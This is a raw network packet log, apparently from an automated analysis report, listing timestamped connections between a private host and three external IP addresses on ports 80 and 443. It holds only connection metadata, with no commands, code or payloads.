Nov 28, 2024 17:24:45.684678078 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.684691906 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.699497938 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:45.699562073 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:45.701651096 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:45.701663971 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:45.701900005 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:45.703263044 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:45.703330994 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:45.703337908 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:45.703435898 CET	49871	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:45.717593908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.717680931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.717694998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.717793941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.717869997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.717926025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.717988968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.718061924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.718569040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.718612909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.718641043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.718790054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.719283104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.719330072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.719435930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.719490051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.720040083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.720089912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.720168114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.720273972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.720694065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.720776081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.720860958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.720944881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.721457005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.721507072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.721682072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.721729994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.722469091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.722518921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.722635031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.722697020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.722960949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.723006010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.723028898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.723119020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.723658085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.723768950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.723776102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.723800898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.724391937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.724425077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.724447012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.724462032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.725027084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.725066900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.725121975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.725172997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.725719929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.725778103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.725805998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.725817919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.726501942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.726516962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.726564884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.727138042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.727180958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.727210045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.727248907 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.727855921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.727938890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.727941990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.727987051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.728550911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.728602886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.728662968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.728741884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.731856108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.731898069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.732861996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.732932091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.733830929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.733850002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.733880997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.733886957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.733894110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.733899117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.733931065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.751338959 CET	443	49871	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:45.793675900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.793694019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.793775082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.793839931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.793929100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.793978930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.794013023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.794173002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.794667006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.794755936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.794799089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.794836044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.797858000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797885895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797903061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797919035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797924995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.797935963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797945023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.797954082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797971010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797981024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.797986031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.797992945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.798005104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.798023939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.798049927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.798455000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.798531055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.798571110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.798721075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.799561977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.799580097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.799607992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.799623013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.799849033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.799902916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.800026894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.800071001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.800694942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.800710917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.800765038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.800801992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.801286936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.801343918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.801445007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.801496029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.802115917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.802160978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.802191019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.802236080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.802783966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.802862883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.802947044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.802988052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.803847075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.803864956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.803894043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.803910017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.804198027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.804219961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.804250956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.804270983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.805227041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.805243969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.805269003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.805294037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.805721045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.805782080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.805826902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.805932045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.806348085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.806404114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.806443930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.806483984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.807063103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.807156086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.807163954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.807199001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.807782888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.807898045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.807909012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.807941914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.808429003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.808522940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.808578968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.808624029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.809180021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.809223890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.809242964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.809279919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.809906960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.809951067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.810012102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.810058117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.810684919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.810785055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.810813904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.810827017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.811397076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.811414003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.811451912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.811465979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.812057972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.812169075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.812200069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.812235117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.812752962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.812794924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.812817097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.812884092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.813478947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.813528061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.813534021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.813560963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.814208031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.814225912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.814260006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.814280033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.814929008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.814960003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.814987898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.815011024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.815624952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.815669060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.815731049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.815922976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.816289902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.816346884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.816418886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.816478968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.820615053 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.820638895 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.820687056 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.820696115 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.820729017 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.820743084 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.858119011 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.858125925 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.858206034 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.858212948 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.858253956 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.876967907 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.876988888 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.877067089 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.877073050 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.877120018 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.898711920 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.898732901 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.898775101 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.898788929 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.898818970 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.898837090 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.918719053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.918771982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.918773890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.918804884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.919097900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.919147968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.919176102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.919248104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.919874907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.919917107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.919994116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.920036077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.920099974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.920151949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.920752048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.920799017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.920870066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.920912981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.921442986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.921525955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.921529055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.921566963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.922162056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.922257900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.922298908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.922938108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.923007011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.923027992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.923083067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.923620939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.923667908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.923703909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.923760891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.924340963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.924415112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.924413919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.924526930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.925009966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.925052881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.925105095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.925223112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.925832033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.925843954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.925892115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.926482916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.926527977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.926557064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.926600933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.927191973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.927270889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.927270889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.927309036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.927915096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.927927971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.927974939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.928617954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.928663969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.928744078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.928787947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.929291010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.929338932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.929441929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.929486036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.930078030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.930114031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.930131912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.930150986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.930730104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.930778980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.930792093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.930811882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.931462049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.931504965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.931590080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.931703091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.932168007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.932213068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.932327032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.932421923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.995014906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.995074034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.995079041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.995116949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.995306015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.995584965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.995635986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.996058941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.996139050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.996205091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.996248960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.996815920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.996968031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.997014999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.997107029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.997142076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.997716904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.997762918 CET	49813	80	192.168.2.6	185.215.113.206
